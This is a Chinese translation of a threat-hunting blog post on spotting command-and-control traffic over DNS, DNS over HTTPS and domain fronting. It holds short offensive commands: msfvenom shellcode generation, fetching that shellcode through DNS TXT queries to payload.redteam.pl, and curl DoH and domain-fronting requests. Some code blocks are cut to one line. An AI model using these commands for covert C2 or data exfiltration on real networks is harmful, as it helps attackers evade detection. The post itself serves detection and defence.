通过加密的HTTPS通道进行恶意通信并不是什么新鲜事，但是DoH（通过HTTPS进行DNS查询）可以在很大程度上隐藏与C&C（又名C2）的通信。
关于当前常用检测方法
威胁搜寻中使用的常规方法之一是基于DNS流量检测恶意通信。当攻击者使用旧式方法（例如HTTP(S)）与C＆C通信时，如果组织具有能够检测到此类攻击的任何内容（例如DNS防火墙）（例如，OpenDNS Family Shield）和或使用SIEM等进行流量检查，因为常见的检测工具正在使用恶意域的黑名单。当安全研究人员使用蜜罐，执行恶意软件分析等，或者目标公司报告了恶意域时，其他组织可以收集这些工件（例如域）并将其用于检测和/或阻止（例如DNS黑洞）。如“痛苦金字塔” 中所述，这是威胁搜寻的最简单机制之一。
恶意通信的另一种常见方式是仅通过DNS查询与C＆C进行通信，并且恶意软件可以使用例如TXT ，AXFR 或ANY DNS记录与C＆C进行通信，但不仅如此，因为它们全部取决于创造力。
引用思科Talos情报组：“ 通常，这种DNS使用与信息泄露有关。Talos最近分析了一个有趣的恶意软件样本，该样本利用DNS TXT记录查询和响应来创建双向命令和控制（C2）通道。这使攻击者可以使用DNS通信来提交要在受感染机器上运行的新命令，并将命令执行的结果返回给攻击者。这是管理RAT的一种非常不常见且回避的方式。”，但实际上，这种情况并不少见[T1071]。使用DNS进行恶意流量的每个想法都有点不同，但是从总体上看，这种检测是相同的。如果办公室中的某些台式计算机正在执行TXT DNS查询，这是否可疑？在哪种实际情况下，台式机而不是服务器在执行TXT 查询？服务器服务通常使用此类查询，例如检查SPF，DKIM以及Google等使用的任何其他域验证。
命令或任何恶意行为者想要从C＆C进行传输的示例传输可能类似于：
1 | # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python |
1 | $ host -t txt payload.redteam.pl |
每行开头的数字用于保持正确的顺序，因为这是轮询DNS之类的方法，并且每个答案的顺序都是随机的。
1 | $ host -t txt payload.redteam.pl | awk '{print $4,$5}' | sort | awk '{print $2}' | sed -s 's/"//' | sed 's/../\\x\0/g' |
仅使用DNS查询，我们就可以传输Shellcode。以同样的方式，威胁参与者不仅可以下载信息，而且还可以发送（泄漏）数据，因为每个DNS查询中都有足够的空间来执行此操作
1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. |
为了检测到这一点，我们可以测量请求的熵，它的长度，频率，响应及其TTL等，但这不是本文的主题，因此我们将跳过它。
整个方法实际上与恶意行为者的创造力有关，但总而言之，通常可以通过对DNS流量的简单检查来基于威胁搜寻来检测攻击者-监视内部DNS日志，以及在可能的情况下不应该与外部DNS服务进行通信通用的组织环境，因为所有计算机通常都使用内部DNS服务器。如果某些计算机正在从外部DNS服务解析域，则这肯定会触发警报，并应检查其发生原因。使用这些技术，我们能够检测到HTTPS与C＆C服务器的初始通信，仅通过DNS请求完全完成的C＆C通信，使用DGA（域生成算法）的恶意软件等。
还请记住，攻击者仅使用IP地址即可与HTTP服务器通信，因此无需域和DNS查询，但通常他们不这样做，因为与直接引用硬编码IP的服务相比，删除服务要容易得多删除用于恶意行为的域。如前所述，通常将域硬编码在恶意软件中或使用DGA。对于直接IP通信，我们可以基于GeoIP（基于国家/地区），IP信誉，恶意IP列表（与域相同），端口和协议检查等进行检测。通常，这也用作威胁搜寻技术的另一层其中基于DNS的检测就是其中之一。这些是威胁狩猎的基础，上面已在“痛苦金字塔”中进行了介绍。
DNS over HTTPS（DoH）作为C2通信的通道
某些DoH服务（例如Google或CloudFlare提供的服务）已被归类为可信主机，并且不会在检测系统中触发警报。流向此类供应商的流量在几乎每个组织中都很普遍，这使检测变得更加困难。
DoH正在使用一种为用户隐私而设计的方法，因为您本地网络，ISP等中的每个人都可以看到DNS流量。对于Tor用户等来说，这也是一个问题。总之，没人知道您在youtube.com上观看了什么，但是每个人都知道您访问了youtube.com，因为DNS查询未像HTTPS流量那样被加密。
值得一提的是，还存在DoT（基于TLS的DNS）服务，但由于本文的主要目标是威胁搜寻和红队合作，因此我们将不重点关注。只需监视到853/tcp端口的流量，即可轻松检测到DoT 。如果您的组织中没有人正在使用DoT，则它是一个相当新的且不常见的标准，并且只有一些主机开始使用它进行通信，这就是易于检测到它的原因。我们不是在谈论在隐私方面DoT与DoH有什么更好的关系，所以这就是为什么我们不关注DoT。更不用说这些端口通常会在组织防火墙上被阻止，关于443/tcp（HTTPS）我们不能说。
由于整个通信都是通过HTTPS进行的，因此DoH很难检测到，HTTPS是经过加密的，被认为是普通的网络流量，没有什么特别的可以轻易触发有关恶意通信的警报的：
1 | $ curl 'https://dns.google.com/resolve?name=example.com&type=TXT' |
该请求的流量如下所示：
1 | 192.168.0.109 192.168.0.1 DNS 74 Standard query 0xfa6c A dns.google.com |
好的，已经与Google ASN进行了通信，但是我们可以检测到对DNS的dns.google.com 记录查询。这是监视DoH端点的一种好方法，但是问题是攻击者可以在没有此DNS查询的情况下建立通信：
1 | $ curl -k -H 'Host: dns.google.com' 'https://216.58.215.78/resolve?name=example.com&type=TXT' |
好的，更好，但仍然可以通过使用Wireshark显示过滤器检测到，例如：
1 | tls.handshake.type == 1 && !tls.handshake.extension.type == 0 |
如果仅使用HTTP标头“ Host ”选择VirtualHost / Server 与IP直接通信，“ Server Name ”列将不包含任何内容，并且可以警告威胁猎人，因为这种通信并不常见。
前一段时间，德勤希腊道德黑客团队提出了一种技术，他们简称为 LAME技术 ，引用了作者的话：“ 有可能获得信任的解析为内部IP地址并将其用于在内部网络内与[C＆C] 建立加密的通信通道的公共DNS名称的SSL证书” 。这是一个很好的例子，说明如何简单地基于DNS的威胁搜寻是有效的。当域解析为LAN或不可路由的IP地址时，如果您的某些组织计算机正在向DNS服务器查询该域，则肯定会触发警报。
从历史上看，这是僵尸网络管理员使用的一种技术，用于临时停用僵尸网络，例如，该僵尸网络基于IRC，并且恶意软件二进制文件具有硬编码域。每个漫游器都试图在一段时间内重新连接到IRC服务器，但是当域开始指向本地主机时（IN A 127.0.0.1），然后每个漫游器都切换到待机状态–由于没有本地IRC服务而无法连接，因此它在TTL时间过去后一直尝试连接并查询C＆C域的DNS。这样，只能通过控制域来关闭一个僵尸网络，因为不控制域，就无法看到僵尸网络的大小，因为僵尸（bot）没有连接到C＆C，而是尝试连接到本地主机。只要域指向那里，也使用了短TTL（在DNS中是秒）。如果僵尸管理员需要访问僵尸网络，那么所有的工作就是启动C＆C，然后更改DNS记录，只要所请求的域再次指向C＆C IP地址，每个僵尸都会重新连接。
回到"LAME技术，通信确实已加密，但是如上所述，我们可以看到未在SSL / TLS初始通信（Client Hello ）中加密的证书详细信息，其中包括i.a.域（如上所述，tls .handshake.extensions_server_name 在Wireshark中显示过滤器）。现在我们看到一个外部域，该域用于在LAN中的两个（或多个）主机之间进行通信，并带有一个解析为LAN IP的DNS查询，这是否可疑？是的，是的，它是最简单的基于DNS的检测规则之一。总之，该技术的作者写道：“ 这可以用作隐蔽的横向移动技术，它绕过了入侵检测/监视工具。”
但实际上，它使检测更加有效，因为当公司执行威胁搜寻时，通常将基于DNS的检测用作最简单的威胁搜寻技术，不需要大量投资。更不用说实际上使用这种技术可以触发IDS警报，并且当我们根本不使用它时，与使事情变得更加艰难时相比，检测风险可能更低……简单的解决方案最有效。即使当我们进行红色团队合作或恶意软件参与者进行攻击时，即使是纯文本通信，较简单的事情，较少的不常见流量等也使得更难检测到。让我们记住，通常在LAN中，系统管理员正在通过IP或使用内部TLD域与服务器进行通信（例如server.redteam ，没有TLD“redteam ”，但我们可以在内部网络中拥有任何我们想要的TLD，并且它仅适用于使用内部DNS服务器的计算机。系统管理员使用外部域（不属于组织的域）进行任何内部HTTPS通信的次数为零？我个人从未遇到过这种方法。
通过域前端绕过DoH检测
问题在于，还存在一种称为“Domain_fronting”的技术，该技术可用于绕过Internet审查，但也可用于恶意通信：
1 | $ curl -H 'Host: dns.google.com' 'https://google.com/resolve?name=example.com&type=TXT' |
在Wireshark中，此类流量如下所示
当有人使用网络浏览器查询Google时，这看起来像是正常的互联网流量。看起来很正常，但不必一定要关注细节，即来自Web浏览器的真实通信情况。我们可以算握手，大小，请求之间的时间，序列与其他主机一样consent.google.com ，www.gstatic.com ，adservice.google.com 等。请注意，恶意的行为也可以做一个正常的更先进的模拟用户行为。由于威胁行为者可以使用常规的用户行为模拟来传输更多数据，这可能成为一个永无止境的故事，因为Domain_fronting可以用于所有可能的Google主机：
1 | $ host -t A google.com |
区分正常流量与恶意流量的另一个问题是，例如Firefox允许用户使用DoH ，默认情况下，该DoH 与mozilla.cloudflare-dns.com 通信。目前，还有更多的DoH服务，将来我们应该有更多可用的服务。
总结
从一方面来说，当采用诸如DoH之类的解决方案时，对于用户隐私而言更好，另一方面，使用ia DLP（数据泄漏防护）工具来检测泄漏更困难。这也表明，诸如DNS防火墙之类的产品不足以使组织抵御黑客攻击。威胁执行者仍然可以在恶意软件中使用硬编码域或DGA，但使用DoH时，今天的DNS防火墙解决方案将无法检测到它。当前，当攻击者使用他自己的DNS服务器并且流量未加密时，我们可以通过对DNS相关的网络流量进行额外检查来简单地检测到它，而不仅是我们服务中的DNS查询/日志。通过DoH，我们将看到与google.com的HTTPS通信，甚至不知道这是DNS查询。这不仅是发送隐藏的DNS查询的方法，还是一种在不被检测到的情况下将数据泄漏到组织网络外部的好方法。需要进行真正的威胁搜寻，而不仅仅是使用带有流行词的广告产品。检测需要基于“痛苦金字塔”顶部的知识-战术，技术和程序（TTP）。威胁猎手需要像高技能的威胁行为者那样思考，不仅要检测众所周知的通用技术，而这些技术通常仅由技能低下的攻击者（例如脚本小子）使用。
如果红队想要跟上并执行可能无法发现的攻击模拟，则威胁猎人需要具有与红队类似的技能，反之亦然。上面提到了如何不进行攻击模拟的好例子“ LAME”技术–听起来不错，但实际上，与没有使用这种技术且攻击者不对内部网络中的通信进行加密的情况相比，它使检测更加容易。大多数组织不存储LAN流量，但是即使它们被存储，这也意味着不会被检测到（成功攻击），而留下更多的取证伪像，而我们主要是在谈论后开采和横向移动伪像，这很可能会没有连接到任何外部资源-您将选择哪种方法作为攻击者，留下更多的法证证据或能够在持续的交战中不被发现的情况下成功进行攻击？将DoH与域前端配合使用会在实际环境中为检测带来实际问题，实际上，仅仅是因为有可能通过受信任的供应商作为代理建立恶意通信。我们可以检查时间（工作时间以外），比较请求之间的时间，等等，但是只是针对DoH没有明显的警报，而不会遇到很多误报。无论如何，威胁搜寻并不是要检测所有事物，它应该触发绝不是误报的警报，它应该检测攻击的某些阶段，但由于计算能力强并且具有更多的误报，因此不需要检测全部，以找到真正的进攻。
缓解措施
- 阻止或更积极地监视通过HTTPS（DoH）终结点的DNS流量。如果希望从DoH提供的某些安全优势中受益，请推出内部DoH，基于TLS的DNS（DoT）解析器和/或在组织的最外部DNS服务器上执行安全的DNS解析。
- 在可能的情况下，检查基础的HTTP交换以获取DoH使用的指示符，而将TLS剥离以进行组织内部检查。即
application/dns-json，application/dns-message内容类型。 - 以相同的方式，查找“Domain Fronting”的潜在指示符，由此传出TLS连接主机名与基础HTTP主机标头不匹配。
- 将基于启发式或基于异常的数据包大小，频率和容量，基于时间的生活模式检测应用于传出流量。
- 防御者正在考虑可能无法进行TLS剥离的其他潜在检测，包括使用诸如JA3之类的工具对SSL客户端行为中的任何可观察特征进行指纹识别。
References
https://developers.google.com/speed/public-dns/docs/dns-over-https
https://developers.cloudflare.com/1.1.1.1/dns-over-https/json-format/
原文：https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html